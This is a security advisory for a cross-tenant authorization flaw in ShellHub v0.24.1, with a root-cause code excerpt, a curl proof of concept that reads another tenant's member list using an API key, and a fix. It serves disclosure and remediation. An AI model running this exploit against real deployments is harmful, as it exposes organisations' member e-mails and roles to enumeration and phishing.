Advisory

GHSA-vwx9-7qcf-gg7f

Also known as: CVE-2026-44426, GO-2026-5680

Summary

ShellHub has cross-tenant IDOR in GET /api/namespaces/:tenant via API Key bypasses membership check

Details

Summary
GET /api/namespaces/:tenant returns the full namespace object — including the members list (user IDs, e-mails, roles), settings, and device counts — to any caller authenticated by an API Key, for any tenant, regardless of the API Key's own tenant scope.

The handler conditionally skips the membership check when the user ID (X-ID) is absent, which is exactly the case for API Key authentication.

Affected versions
ShellHub Community v0.24.1 (validated).

Root cause
api/routes/nsadm.go:75-102 — membership check is skipped when c.ID() is nil:

  var uid string
  if c.ID() != nil {
      uid = c.ID().ID
  }

  ns, err := h.service.GetNamespace(c.Ctx(), req.Tenant)
  if err != nil || ns == nil {
      return c.NoContent(http.StatusNotFound)
  }

  if uid != "" {                              // ⚠️ skipped when API Key is used
      if _, ok := ns.FindMember(uid); !ok {
          return c.NoContent(http.StatusForbidden)
      }
  }

  return c.JSON(http.StatusOK, ns)

AuthRequest (api/routes/auth.go:53-64) sets only X-Tenant-ID, X-Role,
and X-API-KEY for API Key authentication — never X-ID. So
c.Request().Header.Get("X-ID") returns "", c.ID() returns nil, and
the membership check is bypassed.

Proof of concept (validated live against v0.24.1)

  # Attacker authenticates in their own namespace and mints an API Key
  ATTACKER_TOKEN=$(curl -s -X POST http://target/api/login \
    -H 'Content-Type: application/json' \
    -d '{"username":"attacker","password":"..."}' | jq -r .token)

  ATTACKER_KEY=$(curl -s -X POST http://target/api/namespaces/api-key \
    -H "Authorization: Bearer $ATTACKER_TOKEN" \
    -H 'Content-Type: application/json' \
    -d '{"name":"poc","expires_at":30}' | jq -r .id)

  # Baseline: same request with JWT is correctly blocked
  curl -i http://target/api/namespaces/<victim-tenant-uuid> \
    -H "Authorization: Bearer $ATTACKER_TOKEN"
  # Observed: HTTP 403 (correct)

  # Exploit: same request with API Key returns full namespace
  curl -i http://target/api/namespaces/<victim-tenant-uuid> \
    -H "X-API-Key: $ATTACKER_KEY"
  # Observed: HTTP 200 + {name, owner, tenant_id, members:[{id,email,role,added_at},...],
  #                      settings, max_devices, devices_accepted_count, type, created_at}

Impact

  • Enumeration of any ShellHub namespace by tenant UUID.
  • Disclosure of member e-mails, user IDs, and roles → user enumeration and targeted phishing against the victim organization.
  • Disclosure of namespace settings (session recording on/off, announcement text), device counts, namespace type, owner identity.

Suggested fix
Two layers:

  1. Primary — enforce caller-tenant match before returning the namespace, covering both JWT and API Key callers:

```go
// nsadm.go GetNamespace
if c.Tenant() != nil && c.Tenant().ID != req.Tenant {
return c.NoContent(http.StatusForbidden)
}
```

Severity

Medium Basis: The source's own band: MODERATE

Dates

Published
2026-05-07 03:02 UTC
Modified
2026-06-25 23:11 UTC

Affected packages and fixes

github.com/shellhub-io/shellhub

Go · All systems

Affected

  • introduced 0, fixed 0.24.2 (semver)

Fixed versions

0.24.2

Fix

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Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences